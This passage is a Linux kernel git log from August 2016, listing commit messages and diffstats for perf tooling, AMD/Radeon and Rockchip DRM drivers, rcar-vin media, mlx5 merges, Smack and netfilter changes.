deletions(-) commit 0693e680d32e5c7415666ccfcff57ad4cd976294 Author: Arnaldo Carvalho de Melo Date: Mon Aug 8 15:05:46 2016 -0300 perf record: Use USEC_PER_MSEC Instead of a naked 1000. Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Namhyung Kim Cc: Steven Rostedt Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-7v6be7jhvstbkvk3rsytjw0o@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/builtin-record.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit af15e67e8f8572072167bfb193ceabff04f4b21e Author: Arnaldo Carvalho de Melo Date: Mon Aug 8 15:04:23 2016 -0300 perf bench sched-messaging: Use USEC_PER_MSEC Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Namhyung Kim Cc: Steven Rostedt Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-xhyoyxejvorrgmwjx9k3j8k2@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/bench/sched-messaging.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit f2b91be731a6c1aff9333c1ce3fece7a311f1e0d Author: Arnaldo Carvalho de Melo Date: Mon Aug 8 14:59:21 2016 -0300 perf bench mem: Use USEC_PER_SEC Following kernel practices, using linux/time64.h Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Namhyung Kim Cc: Steven Rostedt Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-xdtmguafva17wp023sxojiib@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/bench/mem-functions.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 310ebb93676d2106b4c2e68bbf1b2811461bb9f3 Author: Arnaldo Carvalho de Melo Date: Mon Aug 8 14:57:04 2016 -0300 perf stat: Use *SEC_PER_*SEC macros To match how this is done in the kernel. Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Namhyung Kim Cc: Steven Rostedt Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-gym6yshewpdegt153u8v2q5r@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/builtin-stat.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 16633ccff091dacb2138b95e8911a1892983c6fd Author: Arnaldo Carvalho de Melo Date: Mon Aug 8 14:51:30 2016 -0300 perf bench sched-pipe: Use linux/time64.h, USEC_PER_SEC Following kernel practices. Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Namhyung Kim Cc: Steven Rostedt Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-wgfu1h1pnw8lc919o2tan58y@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/bench/sched-pipe.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit af4b2c972a5fc9358486d946d15f32510534ccbf Author: Arnaldo Carvalho de Melo Date: Mon Aug 8 12:45:58 2016 -0300 perf timechart: Use NSEC_PER_U?SEC Following kernel practices, using linux/time64.h Cc: Adrian Hunter Cc: Arjan van de Ven Cc: David Ahern Cc: Jiri Olsa Cc: Namhyung Kim Cc: Stanislav Fomichev Cc: Steven Rostedt Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-5l1md8lsdhfnrlsqyejzo9w2@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/builtin-timechart.c | 13 +++++++------ tools/perf/util/svghelper.c | 11 ++++++----- 2 files changed, 13 insertions(+), 11 deletions(-) commit 4fc76e495b60da343b94dadeea1001f878ceb955 Author: Arnaldo Carvalho de Melo Date: Mon Aug 8 12:23:49 2016 -0300 perf sched: Use linux/time64.h Probably the next step is to introduce linux/time.h and use timespec_to_ns(), etc. Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Namhyung Kim Cc: Steven Rostedt Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-4nqhskn27fn93cz3ukbc8drf@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/builtin-sched.c | 37 +++++++++++++++++++------------------ 1 file changed, 19 insertions(+), 18 deletions(-) commit a8ad8329b91551bbfc3a317f3655dffcd8c18591 Author: Arnaldo Carvalho de Melo Date: Mon Aug 8 11:55:38 2016 -0300 perf bench numa: Use NSEC_PER_U?SEC Following kernel practices, using linux/time64.h Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Namhyung Kim Cc: Steven Rostedt Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-7vnv15263y50qku76p4w5xk6@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/bench/numa.c | 53 +++++++++++++++++++++++++------------------------ 1 file changed, 27 insertions(+), 26 deletions(-) commit bd48c63eb0afc28b29fb342f215cdd77b995c02e Author: Arnaldo Carvalho de Melo Date: Fri Aug 5 15:40:30 2016 -0300 tools: Introduce tools/include/linux/time64.h for *SEC_PER_*SEC macros And remove it from tools/perf/{perf,util}.h, making code that needs these macros to include linux/time64.h instead, to match how this is used in the kernel sources. Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Namhyung Kim Cc: Steven Rostedt Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-e69fc1pvkgt57yvxqt6eunyg@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/include/linux/time64.h | 12 ++++++++++++ tools/perf/MANIFEST | 1 + tools/perf/builtin-kvm.c | 1 + tools/perf/builtin-script.c | 7 ++++--- tools/perf/builtin-stat.c | 7 ++++--- tools/perf/builtin-trace.c | 1 + tools/perf/perf.h | 7 ------- tools/perf/util/debug.c | 10 ++++------ tools/perf/util/scripting-engines/trace-event-perl.c | 5 +++-- tools/perf/util/scripting-engines/trace-event-python.c | 5 +++-- tools/perf/util/util.c | 1 + tools/perf/util/util.h | 4 ---- 12 files changed, 34 insertions(+), 27 deletions(-) commit ce90c12d2453aa6be743719bb0a5d4040b92700f Merge: b6a32f0 de737f3 Author: Arnaldo Carvalho de Melo Date: Tue Aug 23 15:35:47 2016 -0300 Merge branch 'perf/urgent' into perf/core, to pick up fixes before merging new changes Signed-off-by: Arnaldo Carvalho de Melo commit 01555e64491438a8676f30dbd3fa464417a42e5b Merge: 2d03d43 575ddf5 Author: David S. Miller Date: Tue Aug 23 11:08:23 2016 -0700 Merge tag 'shared-for-4.9-1' of git://git.kernel.org/pub/scm/linux/kernel/git/leon/linux-rdma Saeed Mahameed says: ==================== Mellanox mlx5 core driver updates 2016-08-20 This series contains several low level and API updates for mlx5 core commands interface and mlx5_ifc.h to be shared as base code for net-next and rdma mlx5 4.9 submissions. From Saeed, ten patches that refactors old layouts of firmware commands which were manually generated before we introduced the mlx5_ifc, now all of the firmware commands inbox/outbox layouts moved to use mlx5_ifc and we remove the old manually generated structures. Plus to those ten patches, we add two patches that unifies mlx5 commands execution interface and improve the driver log messages in that area. From Hadar and Ilya, added the needed hardware bits and infrastructure for minimum inline headers setting and encap/decap commands and capabilities, needed for E-Switch offloads. This series applies on top latest net-next and rdma/master, and smoothly merges with the latest "Mellanox 100G mlx5 fixes 2016-08-16" series already applied into net branch. ==================== Signed-off-by: David S. Miller commit 83fba2c06f19f4a6bff785a91c33a5c4de142e5e Author: Niklas Söderlund Date: Mon Aug 15 12:06:34 2016 -0300 [media] rcar-vin: rework how subdevice is found and bound The original drivers code to find a subdevice by looking in the DT grpah and how the callbacks to the v4l2 async bind framework where poorly written. The most obvious example of badness was the duplication of data in the struct rvin_graph_entity. This patch removes the data duplication, simplifies the parsing of the DT graph and add checks to the v4l2 callbacks. Signed-off-by: Niklas Söderlund Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/rcar-vin/rcar-core.c | 232 +++++++++++++--------------- drivers/media/platform/rcar-vin/rcar-vin.h | 8 +- 2 files changed, 111 insertions(+), 129 deletions(-) commit ee9e2a525c825a5c9c358d4c8388242b81ba707f Author: Niklas Söderlund Date: Mon Aug 15 12:06:33 2016 -0300 [media] rcar-vin: move chip check for pixelformat support The check for if the specific pixelformat is supported on the current chip should happen in VIDIOC_S_FMT and VIDIOC_TRY_FMT and not when we try to setup the hardware for streaming. Signed-off-by: Niklas Söderlund Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/rcar-vin/rcar-dma.c | 8 +++----- drivers/media/platform/rcar-vin/rcar-v4l2.c | 5 +++++ 2 files changed, 8 insertions(+), 5 deletions(-) commit 1b5836492de6a753f6bb420f500848761c6f84f3 Author: Tom St Denis Date: Mon Aug 22 10:54:28 2016 -0400 drm/amd/amdgpu: Print ring name in amdgpu_ib_schedule() If the ring isn't ready lets print out which ring name to help debugging. Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_ib.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ddbbd3be96792665d1106f14cef8f1a11e81ecc3 Author: Heinrich Schuchardt Date: Sun Aug 21 22:36:29 2016 +0200 drm/radeon: remove dead code, si_mc_load_microcode (v2) In an if block for (running == 0) running cannot be non-zero. v2: agd: remove unused variable Reviewed-by: Christian König Signed-off-by: Heinrich Schuchardt Signed-off-by: Alex Deucher drivers/gpu/drm/radeon/si.c | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) commit 6e4b070ea16bf95994824cf598ceaf50ea033256 Author: Heinrich Schuchardt Date: Sun Aug 21 21:41:49 2016 +0200 drm/radeon/cik: remove dead code (v2) In an if block for (running == 0) running cannot be non-zero. v2: agd: remove unused variable Reviewed-by: Christian König Signed-off-by: Heinrich Schuchardt Signed-off-by: Alex Deucher drivers/gpu/drm/radeon/cik.c | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) commit bb1800caf773eb8d819e0964c7efd96efe435fa1 Author: Heinrich Schuchardt Date: Sun Aug 21 20:27:02 2016 +0200 drm/amd/powerplay: avoid NULL dereference, cz_hwmgr.c if (a == NULL || a->b == NULL) leads to a NULL pointer dereference if a == NULL. Reviewed-by: Christian König Signed-off-by: Heinrich Schuchardt Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/cz_hwmgr.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d36f3e048e1e81906c776760d70e06bce366ef65 Author: Heinrich Schuchardt Date: Sun Aug 21 20:21:27 2016 +0200 drm/amd/powerplay: avoid NULL pointer dereference if (a == NULL || a->b == NULL) leads to a NULL pointer dereference if a == NULL. Reviewed-by: Christian König Signed-off-by: Heinrich Schuchardt Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/amd_powerplay.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 887656f0b7da0fdbb22740907c53cbc4aefee0ef Author: Heinrich Schuchardt Date: Sun Aug 21 20:10:41 2016 +0200 drm/amdgpu/gmc8: remove dead code (v2) In an if block for (running == 0) running cannot be non-zero. v2: agd: remove unused variable Reviewed-by: Christian König Signed-off-by: Heinrich Schuchardt Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gmc_v8_0.c | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) commit 5c0eb98e484067c3492352bb7f504653302cf5f2 Author: Heinrich Schuchardt Date: Sun Aug 21 20:06:32 2016 +0200 drm/amdgpu/gmc7: remove dead code (v2) In an if block for (running == 0) running cannot be non-zero. v2: agd: remove unused variable Reviewed-by: Christian König Signed-off-by: Heinrich Schuchardt Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gmc_v7_0.c | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) commit 5da25cd5754b97088f2f33bdc811f379b5b3e9ae Author: Alexandre Demers Date: Sun Aug 21 20:38:26 2016 -0400 drm/amdgpu: Fix indentation in dce_v8_0_audio_write_sad_regs() Fixed indentation for readability. Reviewed-by: Christian König Reviewed-by: Edward O'Callaghan Signed-off-by: Alexandre Demers Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/dce_v8_0.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit 2fb5910c03606ecb2797c3dc6577a7cb30da8abe Author: Niklas Söderlund Date: Mon Aug 15 12:06:32 2016 -0300 [media] rcar-vin: add dependency on MEDIA_CONTROLLER This is done in preparation for Gen3 support where media controller support will be mandatory for the driver. Signed-off-by: Niklas Söderlund Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/rcar-vin/Kconfig | 2 +- drivers/media/platform/rcar-vin/rcar-v4l2.c | 7 +------ 2 files changed, 2 insertions(+), 7 deletions(-) commit 64663531a487d7ebc6f2545949fc9233cb6b5e54 Author: Niklas Söderlund Date: Mon Aug 15 12:06:31 2016 -0300 [media] rcar-vin: do not use v4l2_device_call_until_err() Fix a error from the original driver where v4l2_device_call_until_err() where used for the pad specific v4l2 operation set_fmt. Also fix up the error path from this fix so if there is an error it will be propagated to the caller. The error path label have also been renamed as a result from a nitpicking review comment since we are fixing other issues here. Signed-off-by: Niklas Söderlund Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/rcar-vin/rcar-v4l2.c | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) commit fc738177f837742d21707cd773b2c86233e277ee Author: Niklas Söderlund Date: Mon Aug 15 12:06:30 2016 -0300 [media] rcar-vin: return correct error from platform_get_irq() Fix a error from the original driver where the wrong error code is returned if the driver fails to get a IRQ number from platform_get_irq(). Signed-off-by: Niklas Söderlund Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/rcar-vin/rcar-core.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 4869ce9d1a53236f61fefdc819765c7a3ccb6e06 Author: Niklas Söderlund Date: Mon Aug 15 12:06:29 2016 -0300 [media] rcar-vin: rename entity to digital When Gen3 support is added to the driver more then one possible video source entity will be possible. Knowing that the name entity is a bad one, rename it to digital since it will deal with the digital input source. Signed-off-by: Niklas Söderlund Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/rcar-vin/rcar-core.c | 46 ++++++++++++++--------------- drivers/media/platform/rcar-vin/rcar-vin.h | 6 ++-- 2 files changed, 26 insertions(+), 26 deletions(-) commit 23eb2c86f5b6c50676b9698a9963ab035e0cb9d3 Author: Niklas Söderlund Date: Mon Aug 15 12:06:28 2016 -0300 [media] rcar-vin: arrange enum chip_id in chronological order Signed-off-by: Niklas Söderlund Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/rcar-vin/rcar-vin.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 325527a6e829bf21c658d9756249baaeba876312 Author: Niklas Söderlund Date: Mon Aug 15 12:06:27 2016 -0300 [media] rcar-vin: reduce indentation in rvin_s_dv_timings() Align style with the rest of the driver. Signed-off-by: Niklas Söderlund Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/rcar-vin/rcar-v4l2.c | 22 ++++++++++++---------- 1 file changed, 12 insertions(+), 10 deletions(-) commit 63e24c497158c066583b9c06378d89ace694265a Author: Markus Elfring Date: Sun Aug 21 20:17:36 2016 +0200 Smack: Use memdup_user() rather than duplicating its implementation Reuse existing functionality from memdup_user() instead of keeping duplicate source code. This issue was detected by using the Coccinelle software. Signed-off-by: Markus Elfring Acked-by: Casey Schaufler security/smack/smackfs.c | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) commit 7eb95877a09b1ccfa35fb4bb5fe4c3e3ea7ed43e Author: Niklas Söderlund Date: Mon Aug 15 12:06:26 2016 -0300 [media] rcar-vin: fix indentation errors in rcar-v4l2.c Fix broken indentations and line breaks. Signed-off-by: Niklas Söderlund Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/rcar-vin/rcar-v4l2.c | 46 +++++++++++++---------------- 1 file changed, 21 insertions(+), 25 deletions(-) commit 023a8280b8355a0aebe094299afec8d8b7b264cd Author: Arvind Yadav Date: Sat Aug 13 20:56:18 2016 +0530 clk: rockchip: handle of_iomap failures in legacy clock driver Check return value of of_iomap and handle errors correctly. Signed-off-by: Arvind Yadav Signed-off-by: Heiko Stuebner drivers/clk/rockchip/clk-rockchip.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit ac96b5566926af83463ddcf4655856033c092f26 Author: Chris Wilson Date: Tue Aug 23 16:50:24 2016 +0100 io-mapping.h: s/PAGE_KERNEL_IO/PAGE_KERNEL/ PAGE_KERNEL_IO is an x86-ism. Though it is used to define the pgprot_t used for the iomapped region, it itself is just PAGE_KERNEL. On all other arches, PAGE_KERNEL_IO is undefined so in a general header we must refrain from using it. v2: include pgtable for pgprot_combine() Reported-by: Stephen Rothwell Fixes: cafaf14a5d8f ("io-mapping: Always create a struct to hold metadata about the io-mapping") Signed-off-by: Chris Wilson Cc: Daniel Vetter Cc: Joonas Lahtinen Cc: linux-mm@kvack.org Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160823155024.22379-1-chris@chris-wilson.co.uk include/linux/io-mapping.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 124c13439b61a3af28977b67f76698e4b5867087 Merge: c1346a7 575ddf5 Author: Doug Ledford Date: Tue Aug 23 11:52:02 2016 -0400 Merge tag 'shared-for-4.9-1' of git://git.kernel.org/pub/scm/linux/kernel/git/leon/linux-rdma into mlx5-shared Mellanox ConnectX-4/Connect-IB shared code (HW part) * net/mlx5: Introduce alloc_encap and dealloc_encap commands * net/mlx5: Update mlx5_ifc.h for vxlan encap/decap * net/mlx5: Enable setting minimum inline header mode for VFs * net/mlx5: Improve driver log messages * net/mlx5: Unify and improve command interface * {net,IB}/mlx5: Modify QP commands via mlx5 ifc * {net,IB}/mlx5: QP/XRCD commands via mlx5 ifc * {net,IB}/mlx5: MKey/PSV commands via mlx5 ifc * {net,IB}/mlx5: CQ commands via mlx5 ifc * net/mlx5: EQ commands via mlx5 ifc * net/mlx5: Pages management commands via mlx5 ifc * net/mlx5: MCG commands via mlx5 ifc * net/mlx5: PD and UAR commands via mlx5 ifc * net/mlx5: Access register and MAD IFC commands via mlx5 ifc * net/mlx5: Init/Teardown hca commands via mlx5 ifc commit 808263393198b9b0f9d53b9983330fb4298851ec Author: Brian Norris Date: Wed Aug 17 14:10:09 2016 -0700 drm/rockchip: analogix_dp: drop unnecessary probe deferral "error" print This driver is the only user of of_drm_find_panel() which prints an error before doing probe deferral, yielding messages like this on boot, before eventually succeeding: [ 2.234271] [drm:rockchip_dp_probe] *ERROR* failed to find panel ... [ 4.797539] [drm:rockchip_dp_probe] *ERROR* failed to find panel ... Let's just drop the message. Signed-off-by: Brian Norris Signed-off-by: Sean Paul drivers/gpu/drm/rockchip/analogix_dp-rockchip.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 5b6804034ae9a7e792298786f70b95405730ea90 Author: Sean Paul Date: Wed Aug 10 16:24:39 2016 -0400 drm/rockchip: Enable vblank without event vblank should be enabled regardless of whether an event is expected back. This is especially important for a cursor plane. Reviewed-by: Yakir Yang Tested-by: Yakir Yang Signed-off-by: Sean Paul drivers/gpu/drm/rockchip/rockchip_drm_vop.c | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) commit d761b2df5d30b8a0dc5369390eeb32b7a88bbed5 Author: Sean Paul Date: Tue Aug 16 17:12:45 2016 -0700 drm/rockchip: Improve analogix-dp psr handling Remove the delayed worker, opting instead for the non-delayed variety. Also introduce a lock to ensure we don't have races with the worker and psr_state. Finally, cancel and wait for the worker to finish when disabling the bridge. Reviewed-by: Yakir Yang Signed-off-by: Sean Paul drivers/gpu/drm/rockchip/analogix_dp-rockchip.c | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) commit 46bdc64984709419de3f42d3e8b62684af571516 Author: Sean Paul Date: Tue Aug 16 17:47:17 2016 -0700 drm/rockchip: A couple small fixes to psr A few things that need tidying up, no functional changes. Reviewed-by: Yakir Yang Signed-off-by: Sean Paul drivers/gpu/drm/rockchip/rockchip_drm_psr.c | 19 +++++++------------ 1 file changed, 7 insertions(+), 12 deletions(-) commit eec85347c7efa72fd45d3f428bab5d6c108db1f2 Author: Sean Paul Date: Tue Aug 16 16:28:31 2016 -0700 drm/rockchip: Use a spinlock to protect psr state The handling of psr state is racey, shore that up with a per-psr driver lock. Reviewed-by: Yakir Yang Signed-off-by: Sean Paul drivers/gpu/drm/rockchip/rockchip_drm_psr.c | 26 +++++++++++++++++--------- 1 file changed, 17 insertions(+), 9 deletions(-) commit 23c0f3dcc05a15eb1010e10ea8f86d1849560e70 Author: Sean Paul Date: Tue Aug 16 15:58:29 2016 -0700 drm/rockchip: Don't use a delayed worker for psr state changes The delayed worker isn't needed and is racey. Remove it and do the state change in line. Reviewed-by: Yakir Yang Tested-by: Yakir Yang Signed-off-by: Sean Paul drivers/gpu/drm/rockchip/rockchip_drm_psr.c | 38 ++++++++--------------------- 1 file changed, 10 insertions(+), 28 deletions(-) commit 18d8d4d2287b790360ee58d2ace4896e2e10cbb6 Author: Sean Paul Date: Tue Aug 16 16:11:28 2016 -0700 drm/rockchip: Convert psr_list_mutex to spinlock and use it This patch converts the psr_list_mutex to a spinlock and locks all access to psr_list to avoid races (however unlikely they were). Reviewed-by: Yakir Yang Signed-off-by: Sean Paul drivers/gpu/drm/rockchip/rockchip_drm_drv.c | 2 +- drivers/gpu/drm/rockchip/rockchip_drm_drv.h | 2 +- drivers/gpu/drm/rockchip/rockchip_drm_psr.c | 25 ++++++++++++++++++------- 3 files changed, 20 insertions(+), 9 deletions(-) commit 8f0ac5c4835291c6cf47aa60f42d0a4f15335670 Author: Yakir Yang Date: Sun Jul 24 14:57:52 2016 +0800 drm/rockchip: analogix_dp: implement PSR function Alway enable the PSR function for Rockchip analogix_dp driver. If panel don't support PSR, then the core analogix_dp would ignore this setting. Signed-off-by: Yakir Yang Signed-off-by: Sean Paul drivers/gpu/drm/rockchip/analogix_dp-rockchip.c | 57 +++++++++++++++++++++++++ 1 file changed, 57 insertions(+) commit 5b3f84f222b6bb955c5a473ddff707e252be71b4 Author: Yakir Yang Date: Sun Jul 24 14:57:48 2016 +0800 drm/bridge: analogix_dp: add the PSR function support The full name of PSR is Panel Self Refresh, panel device could refresh itself with the hardware framebuffer in panel, this would make lots of sense to save the power consumption. This patch have exported two symbols for platform driver to implement the PSR function in hardware side: - analogix_dp_active_psr() - analogix_dp_inactive_psr() Reviewed-by: Archit Taneja Signed-off-by: Yakir Yang Signed-off-by: Sean Paul drivers/gpu/drm/bridge/analogix/analogix_dp_core.c | 81 ++++++++++++++++++++++ drivers/gpu/drm/bridge/analogix/analogix_dp_core.h | 5 ++ drivers/gpu/drm/bridge/analogix/analogix_dp_reg.c | 51 ++++++++++++++ drivers/gpu/drm/bridge/analogix/analogix_dp_reg.h | 34 +++++++++ include/drm/bridge/analogix_dp.h | 3 + 5 files changed, 174 insertions(+) commit 5182c1a556d7ff70e28516c4b9250a347b732af0 Author: Yakir Yang Date: Sun Jul 24 14:57:44 2016 +0800 drm/rockchip: add an common abstracted PSR driver The PSR driver have exported four symbols for specific device driver, and it's safe to call them in interrupt context: - rockchip_drm_psr_register() - rockchip_drm_psr_unregister() - rockchip_drm_psr_enable() - rockchip_drm_psr_disable() - rockchip_drm_psr_flush() Encoder driver should call the register/unregister interfaces to hook itself into common PSR driver, encoder have implement the 'psr_set' callback which use the set PSR state in hardware side. Crtc driver would call the enable/disable interfaces when vblank is enable/disable, after that the common PSR driver would call the encoder registered callback to set the PSR state. Fb driver would call the flush interface in 'fb->dirty' callback, this helper function would force all PSR enabled encoders to exit from PSR for 3 seconds. Signed-off-by: Yakir Yang [seanpaul removed leftover psr_enabled/psr_work kruft from drm_vop.c] Signed-off-by: Sean Paul drivers/gpu/drm/rockchip/Makefile | 2 +- drivers/gpu/drm/rockchip/rockchip_drm_drv.c | 3 + drivers/gpu/drm/rockchip/rockchip_drm_drv.h | 3 + drivers/gpu/drm/rockchip/rockchip_drm_fb.c | 12 ++ drivers/gpu/drm/rockchip/rockchip_drm_psr.c | 249 ++++++++++++++++++++++++++++ drivers/gpu/drm/rockchip/rockchip_drm_psr.h | 26 +++ drivers/gpu/drm/rockchip/rockchip_drm_vop.c | 6 + 7 files changed, 300 insertions(+), 1 deletion(-) commit 69c34e41f5d4e8a719d67673647b39f807ae8c71 Author: Yakir Yang Date: Sun Jul 24 14:57:40 2016 +0800 drm/rockchip: vop: export line flag function VOP have integrated a hardware counter which indicate the exact display line that vop is scanning. And if we're interested in a specific line, we can set the line number to vop line_flag register, and then vop would generate a line_flag interrupt for it. For example eDP PSR function is interested in the vertical blanking period, then driver could set the line number to zero. This patch have exported a symbol that allow other driver to listen the line flag event with given timeout limit: - rockchip_drm_wait_line_flag() Signed-off-by: Yakir Yang Signed-off-by: Sean Paul drivers/gpu/drm/rockchip/rockchip_drm_drv.h | 3 + drivers/gpu/drm/rockchip/rockchip_drm_vop.c | 117 ++++++++++++++++++++++++++++ drivers/gpu/drm/rockchip/rockchip_drm_vop.h | 2 + drivers/gpu/drm/rockchip/rockchip_vop_reg.c | 4 + 4 files changed, 126 insertions(+) commit 0b8b059a75b08f85e3db843aa33461a6e0d3bb09 Author: Sean Paul Date: Mon Aug 8 14:53:18 2016 -0400 drm/bridge: analogix_dp: Ensure the panel is properly prepared/unprepared Instead of just preparing the panel on bind, actually prepare/unprepare during modeset/disable. The panel must be prepared in order to read hpd status and edid, so we need to keep state around the prepares in order to ensure we don't accidentally turn the panel off at the wrong time. Reviewed-by: Yakir Yang Tested-by: Yakir Yang Reviewed-by: Archit Taneja Signed-off-by: Sean Paul drivers/gpu/drm/bridge/analogix/analogix_dp_core.c | 101 ++++++++++++++++++--- drivers/gpu/drm/bridge/analogix/analogix_dp_core.h | 3 + 2 files changed, 93 insertions(+), 11 deletions(-) commit cb09b01dd3da0f75e7c12608d8bbc8b92388da2e Author: Mark Yao Date: Wed Apr 20 14:20:49 2016 +0800 dt-bindings: add compatible strings for big/little rockchip vops This patch documents the compatible strings for the big and little vop in rockchip's drm driver. Cc: Rob Herring Cc: Pawel Moll Cc: Mark Rutland Cc: Ian Campbell Cc: Kumar Gala Reviewed-by: Tomasz Figa Acked-by: Rob Herring Signed-off-by: Mark Yao [seanpaul removed superfluous description per tfiga's review] Signed-off-by: Sean Paul Documentation/devicetree/bindings/display/rockchip/rockchip-vop.txt | 2 ++ 1 file changed, 2 insertions(+) commit bcc1f55fa49ee12b14b0801dbee86a10006c9dfe Author: Mark Yao Date: Wed Apr 20 14:18:14 2016 +0800 dt-bindings: sort Rockchip vop compatible by chip's number Reorder the compatible vop devices to be sorted by chip number in ascending order. Reviewed-by: Tomasz Figa Acked-by: Rob Herring Signed-off-by: Mark Yao [seanpaul added commit description per tfiga's review] Signed-off-by: Sean Paul Documentation/devicetree/bindings/display/rockchip/rockchip-vop.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0a63bfd046bbc8858d83dd3f0922bc2b1228074a Author: Mark Yao Date: Wed Apr 20 14:18:16 2016 +0800 drm/rockchip: vop: add rk3399 vop support There are two VOP in rk3399 chip, respectively VOP_BIG and VOP_LIT. most registers layout of this two vop is same, their framework are both VOP_FULL, the Major differences of this two is that: VOP_BIG max output resolution is 4096x2160. VOP_LIT max output resolution is 2560x1600 VOP_BIG support four windows. VOP_LIT only support two windows. RK3399 vop register layout is similar with rk3288, so some feature can reuse with rk3288. Reviewed-by: Tomasz Figa Signed-off-by: Mark Yao Signed-off-by: Sean Paul drivers/gpu/drm/rockchip/rockchip_drm_vop.c | 15 ++- drivers/gpu/drm/rockchip/rockchip_drm_vop.h | 4 + drivers/gpu/drm/rockchip/rockchip_vop_reg.c | 91 +++++++++++++ drivers/gpu/drm/rockchip/rockchip_vop_reg.h | 193 ++++++++++++++++++++++++++++ 4 files changed, 298 insertions(+), 5 deletions(-) commit d49463ec78cfadab29de1df318c525319ab3c919 Author: Mark Yao Date: Wed Apr 20 14:18:15 2016 +0800 drm/rockchip: vop: introduce VOP_REG_MASK Some new vop register support mask, bit[16-31] is mask, bit[0-15] is value, the mask is correspond to the value. Signed-off-by: Mark Yao [seanpaul masked 'v' per tfiga's review comments] Reviewed-by: Mark Yao Signed-off-by: Sean Paul drivers/gpu/drm/rockchip/rockchip_drm_vop.c | 45 +++++++++++++++-------------- drivers/gpu/drm/rockchip/rockchip_drm_vop.h | 1 + drivers/gpu/drm/rockchip/rockchip_vop_reg.c | 9 +++++- 3 files changed, 32 insertions(+), 23 deletions(-) commit b51502add7afc5ac83eacecec1fee148603ddb08 Author: Mark Yao Date: Mon Aug 15 14:48:29 2016 -0700 drm/rockchip: sort registers define by chip's number No functional changes, sort the vop registers to make code more readable. Signed-off-by: Mark Yao [seanpaul resolved conflict with name change from _3066 to _3036] Reviewed-by: Mark Yao Signed-off-by: Sean Paul drivers/gpu/drm/rockchip/rockchip_vop_reg.c | 168 ++++++++++++++-------------- 1 file changed, 84 insertions(+), 84 deletions(-) commit 6133740d6e80d969ff7d41098a9db1091d0f9c94 Author: Pablo Neira Ayuso Date: Tue Aug 2 00:30:38 2016 +0200 netfilter: nf_tables: reject hook configuration updates on existing chains Currently, if you add a base chain whose name clashes with an existing non-base chain, nf_tables doesn't complain about this. Similarly, if you update the chain type, the hook number and priority. With this patch, nf_tables bails out in case any of this unsupported operations occur by returning EBUSY. # nft add table x # nft add chain 